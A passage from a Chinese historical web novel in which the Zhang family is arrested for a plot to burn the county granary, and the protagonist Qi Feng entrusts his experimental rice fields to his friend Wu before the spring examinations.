捕快打开木箱,露出一套细长的银针与几瓶不知名的药水。
火光下,银针泛着寒光,让人不寒而栗。
张魁的瞳孔猛地一缩:“你们……你们想干什么?”
“本官向来仁慈。”赵明德冷冷道,“但对纵火烧粮的贼人,可没那么多耐心。说,谁指使你来的?”
张魁喉头滚动,目光闪烁,显然在挣扎。
捕快冷哼一声,从木箱中取出一根银针,蘸了药水,猛地刺入张魁肩头的一处穴位。
张魁当即发出一声闷哼,额头青筋暴起,汗水如雨般淌下。
“说不说?”捕快声音冰冷,手里又拿起一根银针。
张魁咬牙坚持了片刻,终于崩溃,嘶哑道:“是……是张济!张家大少爷张济!”
此言一出,周围的官兵皆是一震。
齐枫与赵明德对视一眼,倒是没什么意外。
“张济?”赵明德眯起眼睛,“**然的大儿子?张韬的兄长?”
张魁喘着粗气,点头道:“正是,他策划了一切,说要烧了粮仓,栽赃给齐枫,好让张家独霸青田县的粮市。”
齐枫挑眉,嘴角勾起一抹冷笑,作模作样道:“好一招借刀**,张济倒是比他弟弟张韬会玩啊。”
赵明德沉吟片刻,沉声道:“张家敢冒这么大风险?背后可还有他人?”
张魁连忙摇头:“没有了!张家说只要事成,商会那边的盐路份额全归张家!”
赵明德挥手让捕快将张魁押下去,转向齐枫,低声道:“张家虽是在青田县有不少的根基,但若是没有靠山,怕是没有这么大的胆子。”
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“大人是说,背后还有人?”齐枫压低声音。
赵明德点头:“只是眼下证据不足,贸然行动恐打草惊蛇。”
齐枫摩挲着袖中的知府令牌,沉思道:“张家既然敢烧官粮,说明他们已狗急跳墙,咱们不如先拿下张家,再顺藤摸瓜。”
赵明德眼中闪过一丝赞赏:“齐公子,此番还真是多亏你了,不然下官也难逃其咎。”
他说的没错,一旦粮仓被烧,他多少也要被追究责任。
齐枫拱手:“学生分内之事。”
与此同时,张氏大宅内,灯火昏黄,**然坐在太师椅上,手指不断敲击扶手,眉头紧锁,似有无穷心事。
张韬站在一旁,低头看着地面,几次欲言又止。
“爹,您今晚怎么了?坐立不安的。”张韬终于忍不住开口,“可是粮仓那边……”
“住口!”**然猛地一拍扶手,“此事你少过问!济儿自有分寸。”
张韬皱眉:“大哥他真能成事?那齐枫如今有知府撑腰,今日又用令牌吓退了堂弟,咱们要是失手。”
“失手?”**然冷笑一声,眼中闪过一丝阴鸷,“济儿筹划此事已久,派去的都是死士,绝无失手的可能!况且……”
他顿了顿,“上面那位已经许诺,只要粮仓一毁,齐家便永无翻身之日!”
张韬心头一跳:“爹,您说的上面那位,究竟是谁?连您都如此忌惮?”
**然瞪了他一眼:“有些事,知道得越少越好。你只要记住,咱们张家在青田县的根基,不能毁在齐枫那小子手上!”
张韬咬了咬牙:“可大哥他万一暴露了怎么办?那可是杀头的大罪!”
“暴露?”**然冷哼,“济儿办事向来滴水不漏。况且,齐枫那小子如今忙着改良粮种,哪有心思管粮仓的事?等他反应过来,火早就烧起来了!”
父子二人正说着,门外突然传来一阵急促的脚步声。
张韬警觉地看向门口,**然也皱起眉头,沉声道:“何事如此慌张?”
门“砰”地被推开,一个满头大汗的下人跌跌撞撞冲进来,扑通跪倒在地:“老爷!大事不好了!”
第五十一章 栽赃陷害
**然猛地站起,眼中寒光闪烁,厉声道:“何事如此慌张!吞吞吐吐成何体统,说!”
那下人满头大汗,跪在地上,支支吾吾半晌也挤不出一个完整的句子:“老爷……外,外头……官兵……”
“官兵?”**然心头一震,脸色骤变。
他快步走到门口,张韬紧跟其后,父子二人推开大门,迎面而来的景象让他们瞬间如坠冰窟。
月光下,张氏大宅的高墙外火把连绵,数十名官兵手持长矛与钢刀,将整个宅院围得水泄不通。
火光映照下,刀锋闪着森冷的寒光,空气中弥漫着肃杀之气。
赵明德一身官袍,站在官兵正中,鎏金令牌在手中熠熠生辉。
齐枫站在他身侧,青衫在夜风中微微飘动,嘴角挂着一抹似笑非笑的神情。
**然瞳孔猛缩,强压下心中的慌乱,挤出一丝干笑,拱手道:“赵大人,齐公子,深夜造访我张氏大宅,不知有何贵干?莫非我张家犯了何事,劳烦大人亲临?”
张韬站在父亲身后,脸色煞白,双腿一软,竟“扑通”一声瘫坐在地。
他瞪着齐枫,眼中满是惊恐,嘴里喃喃道:“怎么可能……怎么可能……”
赵明德冷哼一声,缓缓上前一步,目光如刀般扫过**然:“张员外好大的威风!青田县三大家族之一,商贾巨富,气派不凡,可惜……”
他顿了顿,语气陡然转厉,“你张氏竟敢胆大包天,火烧官粮!此等大罪,莫说你张家在青田县有些势力,便是天王老子也保不住你!”
**然心头一颤,面上却强装镇定,干笑道:“赵大人此言何意?烧官粮?如此大事,我张氏上下怎会知晓?莫非其中有何误会?”
他瞥了一眼瘫坐在地的张韬,心中暗骂这个不争气的儿子如此不堪,却还是硬着头皮继续道,“我张氏世代经商,守法度,重规矩,绝无可能做出这等大逆不道之事!赵大人若有证据,不妨拿出来,让老夫心服口服!”
赵明德眯起眼睛,手中令牌轻轻一晃:“证据?张魁已尽数招供,指认张济为主谋,欲烧毁粮仓,栽赃齐公子!人赃并获,张员外还要狡辩?”
**然脸色一白,却咬牙道:“张魁?不过是府中一个管事罢了,他的话怎能作数?赵大人,依老夫看,此事定是有人从中作梗,挑拨我张氏与官府的关系!”
他猛地转向齐枫,眼中闪过一丝怨毒,“齐公子年少有为,手段高明,莫不是买通了我张氏下人,自导自演这一出好戏,欲置我张家于死地?”
张韬听到这话,像是抓住了救命稻草,猛地从地上爬起,指着齐枫嘶吼道:“对!就是你!齐枫,你这混账定是买通了张魁,设下圈套害我张氏!好一个一石二鸟之计,先除掉我大哥张济,再毁我张氏根基!你好狠的心!”
齐枫闻言,忍不住轻笑出声,摇头道:“张二少,亏你想得出这么完美的理由。啧啧,果然不愧是张家二少爷,脑子转得快啊。”
他看向**然,眼中闪过一丝戏谑,“张员外,您觉得呢?您这二儿子真是聪明绝顶,编的故事滴水不漏,可惜谎话终究是谎话。”
**然顺着张韬的话头,冷笑道:“齐公子何必揣着明白装糊涂?你与我张氏素有恩怨,如今趁着赵大人信任你,借机打压我张家,如此手段,倒是让老夫刮目相看!可我张氏也不是好欺负的,这青田县,谁不知道我张氏的根基?赵大人,您若听信谗言,怕是要寒了青田县商贾的心啊!”
赵明德皱起眉头,显然没想到**然到了这地步还如此嘴硬。
他冷哼道:“张员外,你张氏的根基,本官比谁都清楚。可惜,根基再深,也挡不住人赃并获的铁证!张魁的供词,还有粮仓外埋伏的死士,你要本官一一列举给你听吗?”
**然喉头滚动,额上冷汗涔涔,却依旧咬死不认:“赵大人,凡事讲证据!张魁不过一介下人,他的话焉
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能定我张氏之罪?至于火油粉与死士,更与我张氏无关!若大人执意如此,老夫也只能上书朝廷,请圣上明察!”
齐枫冷笑一声,缓步上前:“张员外好口才,到了这时候还想着上书朝廷?可惜,朝廷远在京城,远水救不了近火,张济呢?主谋不出来?”
**然闻言,心头猛地一沉。
他看向张韬,发现儿子眼中满是慌乱,显然也意识到大事不妙。
他强压下心中的不安,沉声道:“齐公子,你休要危言耸听!济儿乃我张氏长子,品行端正,怎会做出这等事?倒是你,屡次与我张氏为难,莫非真以为我张氏无人?”
赵明德摆摆手,止住双方的争执:“够了!**然,本官念你张氏在青田县有些薄面,给你留几分体面。你若再冥顽不灵,休怪本官不客气!”
他一挥手,身后官兵齐齐上前,刀矛森然,气势逼人。
张韬吓得连退几步,差点又跌坐在地,嘴里兀自喊道:“齐枫,你这卑鄙小人!定是你设下的圈套!我大哥绝不会做这种事!”
齐枫懒得理会张韬的叫嚣,转向赵明德,低声道:“大人,**然父子如此嘴硬,怕是背后还有依仗。不如先将他们押回府衙,细细审问?”
赵明德点头,正要下令,远处突然传来一阵急促的马蹄声。
火光摇曳中,一队骑兵自夜色中疾驰而来,为首之人一身黑甲,面沉如水,正是按察使卢正淳!
马蹄声停,卢正淳翻身下马,目光如鹰般扫过在场众人。
火把的光芒映得他脸上的疤痕愈发狰狞,散发着一股无形的威压。
**然心头一凛,隐隐感到不妙。
齐枫与赵明德对视一眼,皆从对方眼中看到了几分疑惑。
卢正淳深夜到此,所为何事?
卢正淳缓步上前,目光在**然父子身上停留片刻,又转向齐枫,沉声道:“齐公子,赵大人,深夜扰民,倒是本官来的不是时候。”
第五十二章 覆灭
卢正淳话音落下,赵明德拱手回礼,语气不卑不亢:“卢大人言重了,深夜到此,想必有要事。”
**然强压下心中的不安,挤出一丝笑意,拱手道:“卢大人亲临寒舍,蓬荜生辉。不知大人深夜造访,所为何事?”
卢正淳冷哼一声,目光如刀般直刺**然:“张员外何必明知故问?本官此来,为的是你张氏勾结黑风寨,竟敢胆大包天,私运官盐一案!另外,在来的路上,我碰到了押送回府的张魁。”
他从袖中抽出一卷文书,扬声道,“张魁已尽数招供,不仅是官盐一案,还有火烧粮仓,粮仓埋伏的死士皆是你张氏豢养,更有书信为证,铁证如山!张员外,你还有何话可说?”
**然脸色瞬间惨白如纸,额上冷汗涔涔,嘴唇微微颤抖,想要辩解:“卢大人,这,这其中定有误会!我张氏世代经商,怎会做出如此大逆不道之事?张魁不过一介下人,他的供词焉能定我张氏之罪?”
张韬早已吓得面无人色,方才的嚣张气焰荡然无存。
他再度扑通一声跪倒在地,声音颤抖道:“卢大人,赵大人,定是误会!我们张氏在青田县兢兢业业,田产粮仓为县里贡献颇多,怎会做这种事?求两位大人明察啊!”
卢正淳冷笑一声,眼中闪过一丝不屑:“贡献?张员外,你张氏的贡献,莫非是勾结黑风寨,私运官盐,意图谋乱?还是说,你以为本官的按察司是吃干饭的?”
他一挥手,身后两名捕快上前,将一摞书信与一袋火油粉残渣摔在**然面前。
“另外,你说齐公子冤枉你,这是从张魁身上搜出的书信,字字句句皆指向你张氏!至于火油粉,哼,青田县能拿出这等军用之物的,怕是只有你张氏了吧?”
**然低头一看那书信,瞳孔猛缩,身体摇晃了一下,险些站立不稳。
他强撑着开口:“卢大人,这些,这些定是有人栽赃!我张氏绝无此心!还请大人给老夫一个机会,让老夫查清真相!”
张韬也连忙附和,磕头如捣蒜:“对对对!卢大人,赵大人,定是齐枫这小子买通了张魁,设下圈套害我张氏!我们张氏冤枉啊!青田县谁不知道我张氏的为人?大人明察!”
齐枫站在一旁,闻言轻笑出声,摇头道:“张二少,你这张嘴倒是越发会编了。可惜,铁证面前,巧舌如簧也无用。还是老老实实跟卢大人走一趟吧,兴许还能留条活路。”
张韬瞪向齐枫,眼中满是怨毒,却不敢再多言,只一个劲地磕头求饶:“卢大人,求您网开一面!我张氏绝不敢有二心啊!”
卢正淳厌恶地皱起眉头,冷声道:“够了!**然,张韬,本官念你张氏在青田县有些薄面,本想留几分余地。既然你们冥顽不灵,那就别怪本官无情!”
他一挥手,喝道,“来人,将张氏一干人等全部拿下,押回府衙严加审问!”
官兵们齐声应诺,刀矛齐举,迅速上前将**然父子及院内下人尽数捆缚。
张韬吓得魂飞魄散,挣扎着喊道:“卢大人!我们冤枉啊!齐枫!你这卑鄙小人,我张氏跟你没完!”
**然却沉默不语,眼中闪过一丝绝望,显然也是意识到大势已去。
不多时,张氏大宅内哭喊声,镣铐声响成一片,昔日青田县的商贾巨族,如今却如丧家之犬,被官兵押着踉跄离去。
等到张氏众人被押走,卢正淳这才转过身,缓步走到齐枫与赵明德面前,脸上难得露出一丝笑意。
“齐公子,赵大人,今日多亏你二人及时告知粮仓之事,否则青田县官粮尽毁,后果不堪设想!张氏此等丧心病狂之举,实乃自取灭亡!”
齐枫拱手一笑,一脸谦逊地摇了摇头:“卢大人过奖了,学生不过尽了分内之事。赵大人运筹帷幄,学生只是略尽绵力罢了。”
赵明德摆摆手,笑道:“齐公子不必过谦,若非你提前察觉张氏阴谋,又在粮
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仓设下埋伏,本官怕是也要担上失察之责。卢大人,你说是不是?”
卢正淳点头,目光在齐枫身上停留片刻,沉声道:“齐公子年纪轻轻,却心思缜密,诗才出众又兼济世之志,实乃青田县之幸,日后春闱,定要一展才华,莫负了这身本事。”
齐枫连忙拱手:“多谢卢大人谬赞,学生定当尽力。”
楚清秋站在齐枫身后,面纱下的目光微微闪烁,似有几分复杂。
她低声道:“少爷,夜已深,咱们该回去了。”
齐枫点点头,转向卢正淳与赵明德:“两位大人,学生先行告辞。若有需要,随时传唤。”
卢正淳颔首:“齐公子慢走,保重。”
赵明德也拱手道:“齐公子,春闱在即,莫要分心。”
齐枫应了一声,带着楚清秋与小荷转身离去。
马车辚辚,青田县的街道在深夜显得格外安静。
齐枫靠在车厢内,闭目养神,脑海中却不断回放今晚之事。
楚清秋坐在他对面,面纱遮住了她的表情,但手指无意识地摩挲着腰间软剑,显然,她的内心并不平静。
小荷缩在角落,早已困得眼皮打架,却强撑着不敢睡。
马车驶入齐府,夜色已深,府内灯火寥寥,只有老管家王伯提着灯笼在门口守候。
见到齐枫归来,王伯连忙迎上:“少爷,可算回来了!老爷与夫人还在正厅等着呢。”
齐枫摆摆手:“王伯,先让厨房备些热汤,我与青禾,小荷晚膳还没用。”
王伯应声而去。
齐枫带着楚清秋与小荷走向正厅,刚踏入院子,却突然听到两声尖锐的鸟叫,似从远处林间传来,刺耳,诡异。
他脚步一顿,余光瞥向楚清秋,却见她身子微微一僵,面纱下的目光闪过一丝异样。
“青禾?”齐枫微微皱了,喊了一声。
楚清秋迅速恢复平静,低声道:“少爷,我有些乏了,先回房休息了。”
第五十三章 此仇不共戴天
齐枫先是愣了一下,然后点了点头,目光在楚清秋身上停留片刻,却未多言。
他早说过楚清秋是自由的,只要不危及自己,她想做什么,是她的事。
楚清秋微微一礼,转身朝自己的厢房走去。
齐枫看着她的背影消失,摇了摇头,收回目光,带着小荷踏入正厅。
正厅内,灯火通明,齐震天与锦娘早已等候多时。
锦娘虽是齐震天的妾室,却对齐枫视如己出,关怀备至,见齐枫进门,她起身的比齐震天都还要快。
齐震天放下手中茶盏,也起身迎上:“枫儿,回来了!今晚粮仓之事可还顺利?张氏那帮人可是闹出了什么乱子?”
锦娘也上下打量着齐枫,柔声道:“枫儿,你这孩子,夜里跑去粮仓也不提前说一声,害得我与老爷担心得紧,你瞧瞧,这衣衫上还有灰尘,可有受伤?”
齐枫笑着拱手,一脸轻松:“爹,锦姨,让你们担心了,今晚之事已了,张氏勾结黑风寨,意图火烧官粮,幸得赵大人与卢大人及时出手,人赃并获,**然父子已被押往府衙严审。”
齐震天闻言,眼睛微微瞪大,沉声道:“张氏?好大的胆子!竟敢烧官粮?这可是杀头的大罪!”
他顿了顿,又似有些感慨,“想我齐氏与张氏在青田县斗了这么多年,商贾之间明争暗斗不断,谁能想到他们如此丧心病狂,转眼间便落得家破人亡的下场。”
锦娘叹了口气,接口道:“可不是嘛,张氏在青田县也算根深蒂固,平日里**然那副趾高气昂的模样,谁能想到一夜之间便成了阶下囚?枫儿,这事你可是立了大功,锦姨瞧着,赵大人和卢大人定会对你刮目相看。”
齐枫摆摆手,笑道:“锦姨过奖了,儿不过是尽了分内之事。张氏的覆灭,非我一人之功,乃是他们多行不义,必自毙耳。他们玩火自-焚,怪不得旁人。”
齐震天点了点头,眼中闪过一丝赞赏:“枫儿说得好!张氏自以为根基深厚,却不料贪心不足,蛇吞象,终引火烧身。”
他顿了顿,话锋一转,“不过,枫儿,春闱在即,你这几日忙于田亩之事,可莫要耽误了功课。乡试之后还有会试、殿试,科举之路步步艰险,哪一步都马虎不得,为父和你打的那三个月赌,你也不必太放在心上。”
齐枫微微一笑道:“爹放心,科举之事不必担心,乡试定不负爹与锦姨期望。”
锦娘笑得合不拢嘴,拍了拍齐枫的手:“好孩子,锦姨就知道你有出息!咱们齐氏能有你这么个争气的儿郎,真是祖坟冒青烟。你若金榜题名,锦姨便是拼了这把老骨头,也要给你置办个大大的庆功宴!”
齐震天哈哈一笑,接口道:“夫人说得是!枫儿若能夺得状元,咱们齐氏在青田县的地位可就无人能撼动了!”
他看向齐枫,再度语重心长道,“不过,科举之事急不得,你且稳扎稳打。爹这些年在青田县也攒了些人脉,若乡试有需要,爹自会替你打点一二。你只管专心备考,莫要分心。”
齐枫心中一暖,拱手道:“多谢爹与锦姨关怀,儿记下了。只是爹,儿以为科举当凭真才实学,若靠打点,纵使得中,也非长久之计。”
齐震天闻言,眼中闪过一丝欣慰,捋须道:“好!有志气!不愧是我齐震天的儿子!不过,枫儿,这世道并非全凭才学,官场上的门道,你还需慢慢学。爹也不逼你,凡事量力而行。”
锦娘柔声道:“枫儿,你爹说得对。科举虽重才学,但人情世故也少不得。你这孩子心性纯良,锦姨只盼你莫要吃亏。日后若有难处,记得与锦姨说,锦姨虽是女流之辈,也能替你出些主意。”
齐枫笑着点头:“锦姨放心,儿省得。夜已深,儿先回房歇息,明日还需早起温书。”
锦娘点点头,叮嘱道:“去吧,好好歇着。明日让厨房给你炖些补脑的汤,可别累着了。”
齐震天摆摆手:“去吧,枫儿。记得莫要
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熬夜太久,身体要紧。”
齐枫应了一声,带着小荷退出正厅。
夜风微凉,院中的桂花香气隐隐飘来,他却不由自主地想起楚清秋方才那异样的神情。
“每个人都有秘密。”
齐枫再度小声嘟囔了一句。
与此同时,青田县外的一片密林中,张济一身狼狈,衣衫上沾满泥土与血迹,踉跄着跪在一道黑影前。
那黑影身披斗篷,面容隐藏在阴影中,只露出一双冷漠的眼睛,浑身上下散发着一股肃杀之气。
“大人!”张济那张不可一世的脸上带着绝望,“张氏已然覆灭,家父与弟弟皆被押往府衙,求大人念在张氏多年效忠的份上,出手相救!”
黑衣人冷哼一声:“张济,你张氏自取灭亡,尚有何面目求本座相救?本座早曾警告过你,行事需谨慎,你张氏却偏要铤而走险,火烧官粮,栽赃齐枫,如此拙劣的手段,怎配得上本座的栽培?”
张济额头冷汗涔涔,连忙磕头:“大人息怒!是小人无能,才酿成大祸!但张氏对大人忠心耿耿,多年为大人奔走,求大人网开一面,救张氏于水火!”
黑衣人沉默片刻,目光在张济身上游移,缓缓道:“张氏已无回天之力,救之无益。然,你办事尚算得力,脑子也转得够快,本座惜你之才,愿给你一条生路。随本座回京,效忠于我,否则,便与你张氏一同赴死!”
张济咬紧牙关,眼中闪过一丝挣扎。
他抬头看向黑衣人,脑海中浮现出张氏大宅的灯火辉煌,如今却尽成泡影。
他深吸一口气,起身道:“小人愿随大人回京!”
黑衣人点了点头,斗篷下的目光闪过一丝满意:“好,识时务者为俊杰。走吧,莫要回头。”
张济缓缓站起,回过头最后看了一眼青田县的方向,眼中满是怨毒。
他咬牙切齿,脸色狰狞道:“齐枫,此仇不报誓不为人!我张氏今日之辱,他日我定要你百倍奉还!”
第五十四章 托付
翌日清晨。
青田县齐府的院子里,桂花树的香气随着微风飘散,晨雾还未完全散去,院中的石桌上已摆好了热气腾腾的早膳。
齐枫一身青衫,懒洋洋地倚在石凳上,手里拿着一块刚出炉的芝麻烧饼,咬了一口,眯着眼享受着清晨的宁静。
小荷端着一碗热腾腾的鸡汤面从厨房小跑出来,脸上带着笑意:“少爷,您慢点吃,这面是奴婢特意让厨房加了枸杞和红枣,补脑的!您马上就要去春闱了,可得养好精神!”
齐枫瞥了她一眼,笑着调侃:“哟,小荷什么时候还学会关心起本少爷的脑子了?莫不是怕我考不上秀才,丢了你这小丫头的脸?”
小荷小脸一红,嘟着嘴反驳:“才不是!奴婢是怕少爷太累了!老爷说了,春闱可是大事,考中了秀才,咱们齐氏在青田县的地位可就更稳了!”
“稳什么稳。”齐枫摆摆手,咬了口烧饼,含糊道,“本少爷天纵奇才,考个秀才还不是手到擒来?倒是这田里的事,得赶紧安排好,春闱在即,我可没时间天天盯着那些秧苗。”
一旁的楚清秋正安静地站在桂花树下,面纱遮住了她的表情,但那双清冷的眸子却不时扫过齐枫,似乎在观察他的神色。
她今日换了一身素净的青色衣裙,腰间依旧佩着那柄软剑,气质清冷中带着几分孤傲。
听到齐枫提到田地,她微微侧头,低声道:“少爷,田里的新粮种试验颇为重要,张氏虽已覆灭,但青田县还有赵氏等家族虎视眈眈,您可得谨慎。”
齐枫闻言,挑了挑眉,似笑非笑道:“青禾,你这是在提醒本少爷?放心,张氏那帮人已经被卢大人和赵大人收拾得服服帖帖,至于赵氏,他们现在忙着赌坊的生意,哪有心思来抢我的粮种?”
楚清秋垂下眼帘,不再多言,但手指无意识地摩挲着腰间的剑柄,显然内心并不像表面那般平静。
就在这时,院外传来一阵急促的脚步声,伴随着一个粗犷的嗓音:“老齐!齐哥!齐大少!你可在家?”
齐枫一口烧饼差点噎住,抬头一看,只见吴胖子那两百斤的身躯风风火火地冲进院子,满脸通红,额上还带着汗珠,气喘吁吁地冲到齐枫面前,猛地竖起一个大拇指。
“齐哥,牛!真是太牛了!昨晚张氏那事,我今儿一早听说了,啧啧,你这脑子是怎么长的?硬生生把**然那老狐狸给坑得家破人亡!青田县三大家族,如今就剩你齐氏和赵氏了,你这简直是青田县第一牛人啊!”
齐枫被他这副夸张的模样逗乐了,咽下嘴里的烧饼,摆摆手道:“得了得了,吴胖子,你这马屁拍得也太响了。张氏那是自找的,敢烧官粮,栽赃本少爷,活该他们倒霉。本少爷不过是顺手推了一把,功劳还是赵大人和卢大人的。”
吴胖子嘿嘿一笑,挤到石桌旁,毫不客气地抓起一块烧饼就往嘴里塞,边吃边含糊道:“嘿,齐哥你甭谦虚!谁不知道你现在是赵大人跟前的红人?昨晚那粮仓伏击,我听说你连火油粉都算计好了,愣是让张济那小子栽了个大跟头!现在青田县街头巷尾都在传,齐大少爷不鸣则已,一鸣惊人!”
小荷在一旁捂嘴偷笑,忍不住插话:“吴少爷,您可别光顾着夸我们少爷,烧饼吃慢点,别噎着了!”
吴胖子哈哈一笑,拍了拍胸脯:“小荷妹子,放心,胖爷我这嗓子眼比城门还宽!诶,齐哥,说正经的,你今儿干啥去?我听说你家那试验田的事,厉害啊,亩产高出三成,简直要逆天了!”
齐枫放下烧饼,站起身,拍了拍手上的饼屑,懒洋洋道:“正巧,本少爷今儿要去田里布置一下,春闱马上就要到了,没时间天天盯着那些秧苗。胖子,你闲着没事,要不要一起去瞅瞅?”
吴胖子一听,眼睛一亮,猛地点头:“去!必须去!你这试验田我早想见识见识了!说不定
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我还能跟你学两招,回去也弄几亩地试试!”
齐枫似笑非笑地看了他一眼:“就你?还种地?别到时候把地种成鱼塘了。”
吴胖子被呛得一愣,随即哈哈大笑:“齐哥,你这嘴还是那么损!行,胖爷我今天就跟你去开开眼界!”
楚清秋闻言,默默跟在齐枫身后,小荷也赶紧收拾好桌子,提着食盒跟了上来。
一行四人出了齐府,上了马车,朝田间驶去。
马车辚辚,沿着青田县郊外的乡间小路缓缓前行,田野一片生机盎然,路边的野花在晨风中轻轻摇曳。
齐枫掀开车帘,望着远处的田垄,眼神中多了几分认真。
吴胖子坐在他对面,嘴里叼着一根草根,絮絮叨叨地说着昨晚听来的八卦。
“齐哥,你应该不知道,昨晚张氏大宅被围的时候,街坊邻居都跑去看热闹了!我听说张韬那小子吓得跟个鹌鹑似的,还跪在地上求饶,脸都丢尽了!”
吴胖子说得眉飞色舞,啧啧有声,“还有那张济,跑得比兔子还快,听说现在连个影子都找不到,估计是躲到哪个山沟沟里去了!”
齐枫靠在车厢上,闻言轻笑:“张济脑子一向灵光,跑得快也不奇怪。不过,胖子,你说这青田县三大家族,如今张氏倒了,赵氏独大,你猜这第三把交椅,谁会来抢?”
吴胖子一愣,挠了挠头:“还能有谁?赵氏现在风头正盛,赌坊,酒楼,布匹生意,哪样不赚钱?他们应该会不让别的家族上位吧,不过,你家这粮种改良要是成了,青田县的粮市可就得姓齐了!到时候,赵氏还不得乖乖给你让路?”
齐枫哈哈一笑,摆手道:“胖子,你这脑子转得还挺快。说起来,你吴家虽然不算三大家族,但好歹也有几亩薄田,要不要也来掺一脚?春闱之后,本少爷估计得忙活一阵,田里的事可顾不过来。”
说着,齐枫对吴胖子挑了挑眉,似笑非笑。
第五十五章 新东家
吴胖子一听,眼睛瞪得像铜铃,摆手连连:“别别别,你可别拉我下水!我这人你还不知道?吃喝玩乐我拿手,种地?那可真要了我的命!再说,我家那几亩地,够我吃喝就行,哪敢跟你这大才子比?”
齐枫挑眉,似笑非笑道:“胖子,你就甭谦虚了。本少爷听说,你家那几亩地,去年收成可不差,亩产比别家高了一成多。你要说没点经营之道,谁信?再说了,春闱这事,你要不要也试试?考个秀才,回去也能给你爹长长脸。”
吴胖子闻言,顿时苦着脸,摆手道:“你就饶了我吧!就我这脑子,读书?那不是要我命吗!再说了,我爹说了,吴家就指望我老老实实守着家业,种好那几亩地就行。考秀才的事,还是留给你们这些才子吧!”
齐枫哈哈一笑,拍了拍吴胖子的肩膀:“行吧,胖子,你就继续守着你那几亩地。不过,青田县现在这局势,庄稼可是个好买卖。只要经营得好,第三大家族的位置,估计有不少人眼红。你要不抓紧机会,回头可别后悔。”
吴胖子嘿嘿一笑,搓了搓手:“齐哥,你这话我爱听!不过,种地这事,我还真得跟你学学。你那新粮种,听说亩产高得吓人,回头教我两招呗?”
齐枫懒洋洋地靠回车厢,眯着眼道:“学?行啊,先把你那赌坊的债还清再说。别到时候地没种好,屁股又被你爹打成八瓣。”
吴胖子被呛得一愣,随即哈哈大笑,车厢里顿时充满了快活的空气。
小荷在一旁捂嘴偷笑,楚清秋却始终沉默,只是偶尔抬头,也不知道在想些什么。
马车在田边停下,齐枫跳下车,迎面而来的清新泥土气息让他精神一振。
远处,齐氏的试验田里,绿油油的秧苗随风摇曳,田埂上,几名农户正在忙碌,见到齐枫到来,纷纷放下手里的活计,围了上来。
为首的王老汉满脸堆笑,快步迎上:“少爷,您又来了!这试验田的秧苗,长势可好了!昨儿我还让人称了称,比去年高了两成不止!”
齐枫点点头,目光扫过田间,满意道:“不错,老汉你辛苦了。春闱在即,我得去府城一趟,这田里的事,接下来还得靠你们多费心。”
王老汉连连摆手:“少爷言重了!您教咱们的堆肥法子和间作法子,哪家佃户不感激您?咱们就是拼了这把老骨头,也得把这田种好!”
齐枫笑着拍了拍王老汉的肩膀,转身看向吴胖子:“胖子,来,给你介绍一下。这位是王老汉,齐氏的佃户头儿,种田一把好手。你们认识认识,回头有啥事,多向他请教。”
吴胖子挠了挠头,憨笑着朝王老汉拱手:“王老哥,久仰久仰!胖爷我今天是来开眼界的,齐哥这试验田,果然名不虚传!”
王老汉被他这副自来熟的模样逗乐了,忙回礼道:“吴少爷客气了!您是少爷的朋友,那就是咱们的贵客!来来来,我带您瞧瞧这田!”
齐枫带着吴胖子和农户们在田间转了一圈,详细讲解了新粮种的种植要点和田间管理的方法。
吴胖子虽然嘴上喊着不会种地,但听了一会儿,眼睛却亮了起来,不时点头,偶尔还问上两句。
“齐哥,这间作法子,是不是得看土质?咱们青田县这地,黏土多,行不行?”
齐枫瞥了他一眼,笑道:“哟,胖子,看不出来,你还挺有悟性。黏土确实得注意排水,回头我让人给你写个章程,你照着做,保准错不了。”
吴胖子嘿嘿一笑,搓着手道:“那感情好!齐哥,你这脑子,真是让我服气!怪不得张氏那帮人斗不过你!”
时间过得飞快,转眼到了黄昏,夕阳的余晖洒在田垄上,给秧苗披上了一层金光。
齐枫站在田埂上,手里捏着一株刚拔下的秧苗,眉头微皱,似乎在盘算着什么。
吴胖子站在一旁,啃着小荷递来的点心,嘴里嘟囔着:“齐哥,你说你这田种得跟作画似的,还挺好看,要我说,你这脑子不去考状元,真是浪费了!”
齐枫闻言,放下秧苗,转身看向吴胖子,眼神中带着几分认真:“胖子,说真的,这试验田的
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事,我得交给你了。”
吴胖子一口点心差点没咽下去,瞪大眼睛道:“啥?交给我?你没开玩笑吧?我哪会管这么大的摊子!你这试验田可是宝贝,青田县多少人盯着呢!”
齐枫摆摆手,笑道:“胖子,你就别装了。本少爷看人向来准,你虽然嘴上喊着不会种地,但你家那几亩地的收成,谁不知道?去年你爹还夸你,田里的事安排得井井有条。你就是懒,缺个推你一把的人。”
吴胖子挠了挠头,脸上露出几分赧然:“齐哥,你别抬举我了。我那点本事,也就是瞎猫撞死耗子,哪能跟你比?”
齐枫拍了拍他的肩膀,语重心长道:“胖子,青田县现在这局势,张氏倒了,赵氏一家独大,但粮食这块,谁抓住了就是王道。这试验田要是经营好了,亩产高出三成,青田县的粮市就是咱们说了算。到时候,你吴家想不做第三大家族都难。”
吴胖子一听,眼睛顿时亮了,搓着手道:“齐哥,你这话……还真有点道理!不过,这么大的事,我真能行?”
齐枫哈哈一笑:“行不行,试试不就知道了?本少爷信你,经营之道,你不比谁差。况且,有王老汉他们帮你,这田保准错不了。”
吴胖子看着齐枫那信任的眼神,心里突然涌起一股热流。
他想起这些年,齐枫总是在关键时候拉他一把,从赌坊的债到如今的托付,哪次不是真心实意?
他咬了咬牙,重重道:“齐哥,你放心!这田我接了!以后你就是我吴胖子的义父!这第三大家族的位置,我给你守住了!”
齐枫被他这“义父”一喊,差点笑出声,摆手道:“得了,胖子,别整这些虚的。来,跟我去跟农户们说一声。”
夕阳西下,田埂上,农户们围成一圈,王老汉站在最前,目光中带着几分期待。
齐枫清了清嗓子,大手一挥,朗声道:“诸位,这试验田的事,本少爷得托付给吴胖子了。我马上要去府城参加春闱,田里的事顾不过来。以后,吴胖子就是你们的东家!”
第五十六章 提亲
夕阳的余晖渐渐隐去,田埂上的农户们围成一圈,目光齐刷刷地落在吴胖子身上。
齐枫刚刚宣布将试验田托付给吴胖子,话音刚落,空气中似乎凝固了一瞬。
吴胖子搓了搓手,肥硕的脸上挤出一抹笑容,试图掩饰内心的紧张。
他清了清嗓子,朝农户们拱手道:“诸位……那个,诸位好!胖爷我,咳,吴某人今后就是这试验田的东家了!大伙儿放心,跟着胖爷干,保准不会亏待你们!”
农户们面面相觑,眼神中带着几分疑惑。
吴胖子虽是青田县有名的纨绔,平日里吃喝玩乐的名声不小,但种田?谁也没见过他下过田。
这突如其来的“新东家”,让大家一时有些摸不着头脑。
